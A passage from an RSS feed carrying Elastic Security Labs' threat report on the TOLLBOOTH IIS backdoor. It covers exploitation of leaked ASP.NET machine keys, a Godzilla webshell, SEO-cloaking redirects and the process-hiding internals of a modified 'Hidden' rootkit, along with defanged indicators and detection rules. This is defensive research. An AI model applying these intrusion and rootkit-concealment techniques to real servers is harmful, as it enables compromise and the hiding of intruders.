<p>For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to <code>hxxps://api[.]aseo99[.]com/client/landpage</code>. If the request is successful, the server responds with a JSON object containing a specific <code>landpageUrl</code>, which becomes the destination for the redirect.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image18.png" alt="Requesting for page to redirect to" title="Requesting for page to redirect to" /></p>
<p>If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (<code>window.location.href</code>) and sent to the victim’s browser, forcing an immediate redirection.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image26.png" alt="Fallback request for the page to redirect to" title="Fallback request for the page to redirect to" /></p>
<h3>Page Hijacker</h3>
<p>For the native modules, if the URI path contains <code>xlb</code>, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, <code>mlxya[.]oss-accelerate[.]aliyuncs[.]com/&lt;12_random_alphanumeric_characters&gt;</code>, which is used to retrieve an obfuscated next-stage JavaScript payload.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image27.png" alt="Random characters appended to domain hosting JS payload" title="Random characters appended to domain hosting JS payload" /></p>
<p>The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., <code>xlbh</code>, <code>mxlb</code>) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at <code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href=</code> or <code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=</code>, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses <code>document.write()</code> to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image19.png" alt="Deobfuscated page hijacker payload" title="Deobfuscated page hijacker payload" /></p>
<h2>Campaign targeting</h2>
<p>While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.</p>
<p>We then partnered with <a href="https://x.com/SreekarMad">@SreekarMad</a> at <a href="https://www.validin.com/">Validin</a> to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.</p>
<p>At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image2.png" alt="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" title="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" /></p>
<p>These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.</p>
<p>The collaboration with Validin and Texas A&amp;M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image21.png" alt="Metadata collected from an additional victim" title="Metadata collected from an additional victim" /></p>
<p>Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.</p>
<p>Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.</p>
<p>Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.</p>
<h3>Geography</h3>
<p>The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a <code>.co.uk</code> domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.</p>
<h3>Diamond model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image22.png" alt="REF3927 Diamond Model" title="REF3927 Diamond Model" /></p>
<h2>Remediating REF3927</h2>
<p>Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.</p>
<p>Therefore, remediation must include rotation of machine keys to a new, <a href="https://support.winhost.com/kb/a1623/how-to-generate-a-machine-key-in-iis-manager.aspx">properly generated</a> key.</p>
<h2>Conclusion</h2>
<p>The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&amp;M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.</p>
<p>The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as <a href="https://www.elastic.co/jp/security/endpoint-security">Elastic Defend</a> during potential incidents.</p>
<h2>Detection logic</h2>
<h3>Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_webshell_detection.toml">Web Shell Detection: Script Process Child of Common Web Processes</a></li>
</ul>
<h3>Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Services</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_shellcode_injection_via_a_webshell.toml">Potential Shellcode Injection via a WebShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_execution_from_suspicious_directory.toml">Execution from Suspicious Directory</a></li>
</ul>
<h4>YARA signatures</h4>
<p>Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Tollbooth.yar">Windows.Trojan.Tollbooth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenCli.yar">Windows.Trojan.HiddenCli</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenDriver.yar">Windows.Trojan.HiddenDriver</a></li>
</ul>
<h2>REF3927 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/">OS Credential Dumping</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1014/">Rootkit</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid Accounts</a></li>
</ul>
<h2>Observations</h2>
<p>The following <a href="https://github.com/elastic/labs-releases/tree/main/indicators/tollbooth">observables</a> were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc</code></td>
<td>SHA-256</td>
<td><code>WingtbCLI.exe</code></td>
<td>HIDDENCLI</td>
</tr>
<tr>
<td><code>f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1</code></td>
<td>SHA-256</td>
<td><code>Winkbj.sys</code></td>
<td>HIDDENDRIVER</td>
</tr>
<tr>
<td><code>c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964</code></td>
<td>SHA-256</td>
<td><code>CustomIISModule.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c[.]cseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH config server</td>
</tr>
<tr>
<td><code>f[.]fseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH SEO farming config server</td>
</tr>
<tr>
<td><code>api[.]aseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH crawler reporting &amp; page redirector API</td>
</tr>
<tr>
<td><code>mlxya[.]oss-accelerate.aliyuncs[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker payload hosting server</td>
</tr>
<tr>
<td><code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe</code></td>
<td>SHA-256</td>
<td><code>1.aspx</code></td>
<td>Godzilla-forked webshell (Similar sample from VirusTotal)</td>
</tr>
<tr>
<td><code>230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9</code></td>
<td>SHA-256</td>
<td><code>GotoHTTP.exe</code></td>
<td>GotoHTTP</td>
</tr>
<tr>
<td><code>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</code></td>
<td>User-Agent</td>
<td></td>
<td>User-Agent observed during exploitation via IIS ViewState injection</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/</a></li>
<li><a href="https://asec.ahnlab.com/en/87804/">https://asec.ahnlab.com/en/87804/</a></li>
<li><a href="https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/">https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/</a></li>
<li><a href="https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters">https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters</a></li>
<li><a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">https://github.com/ekkoo-z/Z-Godzilla_ekp</a></li>
<li><a href="https://x.com/AzakaSekai_/status/1969294757978652947">https://x.com/AzakaSekai_/status/1969294757978652947</a></li>
</ul>
<h2>Addendum</h2>
<p>HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:</p>
<ul>
<li><a href="https://x.com/securechicken/status/1980715257791193420">https://x.com/securechicken/status/1980715257791193420</a></li>
<li><a href="https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/">https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/tollbooth.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[TOLLBOOTH: What's yours, IIS mine]]></title>
            <link>https://www.elastic.co/jp/security-labs/tollbooth</link>
            <guid>tollbooth</guid>
            <pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[REF3927 abuses publicly disclosed ASP.NET machine keys to compromise IIS servers and deploy TOLLBOOTH SEO cloaking modules globally.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In September 2025, <a href="https://www.cyber.tamus.edu/">Texas A&amp;M University System (TAMUS) Cybersecurity</a>, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell <a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">framework</a>, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.</p>
<p>A similar chain of events was first <a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">reported</a> by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also <a href="https://asec.ahnlab.com/en/87804/">detailed</a> in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&amp;M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with <a href="https://www.validin.com/">Validin</a>, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys</li>
<li>Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware</li>
<li>Threat actors adapted the open source “Hidden” rootkit project to hide their presence</li>
<li>The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities</li>
<li>This campaign included large-scale exploitation across geographies and industry verticals</li>
</ul>
<h2>Campaign Overview</h2>
<h3>Attack vector</h3>
<p>Last month, Elastic Security Labs and Texas A&amp;M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, <code>ValidationKey</code> and <code>DecryptionKey</code>, which are used to secure ASP.NET features such as <code>ViewState</code> and authentication cookies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image16.png" alt="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" title="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" /></p>
<p><code>ViewState</code> is a mechanism used by <a href="ASP.NET">ASP.NET</a> web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, <code>ViewState</code> allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (<code>__VIEWSTATE</code>) on the page that is serialized and encoded in Base64. This <code>ViewState</code> field is susceptible to <a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">deserialization attacks</a>, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.</p>
<p>Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload <a href="https://github.com/pwntester/ysoserial.net">generator</a>. The <code>__VIEWSTATE</code> field contains a URL-encoded and Base64-encoded payload that will perform a <code>whoami</code> and write a file to a directory. With a successful exploitation request, the server will respond with an <code>HTTP/1.1 500 Internal Server Error</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image14.png" alt="Packet capture showing an example of a successful deserialization attack" title="Packet capture showing an example of a successful deserialization attack" /></p>
<h3>Post-compromise activity</h3>
<p>Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image6.png" alt="Elastic Defend alerting showing hands-on post-compromise activity" title="Elastic Defend alerting showing hands-on post-compromise activity" /></p>
<p>With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image13.png" alt="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" title="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" /></p>
<h2>Godzilla EKP analysis</h2>
<p>One of the main tools used by this group is a Godzilla-forked framework called <code>Z-Godzilla_ekp</code> written by <a href="https://github.com/ekkoo-z">ekkoo-z</a>. This tool piggybacks off the previous Godzilla <a href="https://github.com/BeichenDream/Godzilla">project</a> by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:</p>
<ul>
<li>Discovery/enumeration capabilities</li>
<li>Privilege escalation techniques</li>
<li>Command execution/file execution</li>
<li>Shellcode loader, meterpreter, in-memory PE execution</li>
<li>File management, zipping utility</li>
<li>Cred stealing plugin (<code>lemon</code>) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials</li>
<li>Browser password scraping</li>
<li>Port scanning, HTTP proxy configuration, note-taking</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image10.png" alt="Command execution plugin from Z-Godzilla_ekp" title="Command execution plugin from Z-Godzilla_ekp" /></p>
<p>Below is a network traffic example showing the operator traffic to the webshell (<code>error.aspx</code>) using <code>Z-Godzilla_ekp</code>. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image3.png" alt="Example of POST request using Z-Godzilla_ekp" title="Example of POST request using Z-Godzilla_ekp" /></p>
<h2>Rootkit analysis</h2>
<p>The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit <code>HIDDENDRIVER</code> and the userland application <code>HIDDENCLI</code>.</p>
<p>This malicious software is a modified version of the open source rootkit <a href="https://github.com/JKornev/hidden">Hidden</a>, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image1.png" alt="Rookit’s string showing the compilation path" title="Rookit’s string showing the compilation path" /></p>
<p>Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:</p>
<ul>
<li><code>InitializeConfigs</code></li>
<li><code>InitializeKernelAnalyzer</code></li>
<li><code>InitializePsMonitor</code></li>
<li><code>InitializeFSMiniFilter</code></li>
<li><code>InitializeRegistryFilter</code></li>
<li><code>InitializeDevice</code></li>
<li><code>InitializeStealthMode</code></li>
</ul>
<p>To prepare its internal components before populating its driver object and associated fields, such as major functions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image7.png" alt="Malicious rootkit initialization function" title="Malicious rootkit initialization function" /></p>
<p>The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.</p>
<h3>InitializeConfigs</h3>
<p>The rootkit's initial action is to run the <code>InitializeConfigs</code> function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.</p>
<p>The following table summarizes the configuration parameters that the rootkit extracts from the registry:</p>
<table>
<thead>
<tr>
<th>Registry name</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Kbj_WinkbjFsDirs</code></td>
<td>A list of directory paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjFsFiles</code></td>
<td>A list of file paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegKeys</code></td>
<td>A list of registry keys to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegValues</code></td>
<td>A list of registry values to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_FangxingImages</code></td>
<td>A list of process images to whitelist</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_BaohuImages</code></td>
<td>A list of process images to protect</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjImages</code></td>
<td>A list of process images to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_Zhuangtai</code></td>
<td>A global kill switch that is set from userland</td>
<td>bool</td>
</tr>
<tr>
<td><code>Kbj_YinshenMode</code></td>
<td>This flag signals that the rootkit must conceal its artifacts.</td>
<td>bool</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image9.png" alt="Rootkit retrieves values from its configuration stored in the registry" title="Rootkit retrieves values from its configuration stored in the registry" /></p>
<h3>InitializeKernelAnalyzer</h3>
<p>Its purpose is to dynamically scan the kernel memory to find the addresses of the <code>PspCidTable</code> and <code>ActiveProcessLinks</code> that are needed.</p>
<p>The <a href="http://uninformed.org/index.cgi?v=3&amp;a=7&amp;p=6"><code>PspCidTable</code></a> is the kernel's structure that serves as a table for process and thread IDs, while <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland"><code>ActiveProcessLinks</code></a> under the <code>_EPROCESS</code> structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a>.</p>
<h4>LookForPspCidTable</h4>
<p>It searches for the <code>PspCidTable</code> address by disassembling the function <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid"><code>PsLookupProcessByProcessId</code></a>with the library <a href="https://github.com/zyantific/zydis">Zydis</a> and parsing it.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image15.png" alt="Original hidden code: PspCidTable lookup" title="Original hidden code: PspCidTable lookup" /></p>
<h4>LookForActiveProcessLinks</h4>
<p>This function determines the offset of the <code>ActiveProcessLinks</code> field within the <code>_EPROCESS</code> structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the <code>ActiveProcessLinks</code> field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.</p>
<h3>InitializePsMonitor</h3>
<p><code>InitializePsMonitor</code> sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.</p>
<p>It first initializes three <a href="https://medium.com/@ys.yogendra22/avl-tree-self-balancing-binary-search-tree-20188ff58b05">AVL tree structures</a> to hold information (rules) for excluding, protecting, and hiding processes. It uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-rtlinitializegenerictableavl"><code>RtlInitializeGenericTableAvl</code></a> for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.</p>
<h4>Registering object manager callback with (ObRegisterCallbacks)</h4>
<p>This hook registers the <code>ProcessPreCallback</code> and <code>ThreadPreCallback</code> functions. The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-object-manager">kernel's Object Manager</a> executes this code before it completes any request to create or duplicate a handle to a process or thread.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image30.png" alt="Rootkit registering process and thread precallbacks" title="Rootkit registering process and thread precallbacks" /></p>
<p>When a process tries to get a handle on another process, the callback function <code>ProcessPreCallback</code> is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to <code>SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION</code>.</p>
<p>This will ensure that processes cannot interact with/inspect, or kill the protected process.</p>
<p>The same mechanism applies to threads.</p>
<h4>Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)</h4>
<p>The rootkit registers a callback with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex"><code>PsSetCreateProcessNotifyRoutineEx</code></a> API on process creation. When a new process is launched, this callback runs a function <code>CheckProcessFlags</code> that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its <code>excluded</code>, <code>protected</code>, and <code>hidden</code> flags accordingly.</p>
<p>Behavior based on flags:</p>
<ul>
<li><strong>Excluded</strong>
<ul>
<li>The rootkit will ignore the process and just let it run as expected.</li>
</ul>
</li>
<li><strong>Protected</strong>
<ul>
<li>The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in <code>ProcessPreCallback</code>.</li>
</ul>
</li>
<li><strong>Hidden</strong>
<ul>
<li>The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a <code>postponeHiding</code> flag that will be explained below.</li>
</ul>
</li>
</ul>
<h4>The Image Load callback (PsSetLoadImageNotifyRoutine)</h4>
<p>This registers the <code>LoadProcessImageNotifyCallback</code> using <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine"><code>PsSetLoadImageNotifyRoutine</code></a>, which the kernel calls whenever an executable image (a <code>.exe</code> or <code>.dll</code>) is loaded into a process's memory.</p>
<p>When the image is loaded, the callback checks the <code>postponeHiding</code> flag; if set, it calls <code>UnlinkProcessFromCidTable</code> to remove it from the master process ID table (<code>PspCidTable</code>).</p>
<h3>InitializeFSMiniFilter</h3>
<p>The function defines its capabilities in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/ns-fltkernel-_flt_registration"><code>FilterRegistration structure(FLT_REGISTRATION)</code></a>. This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-create"><code>IRP_MJ_CREATE</code></a>: Intercepts any attempt to open or create a file or directory.</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-directory-control"><code>IRP_MJ_DIRECTORY_CONTROL</code></a>: Intercepts any attempt to list the contents of a directory.</li>
</ul>
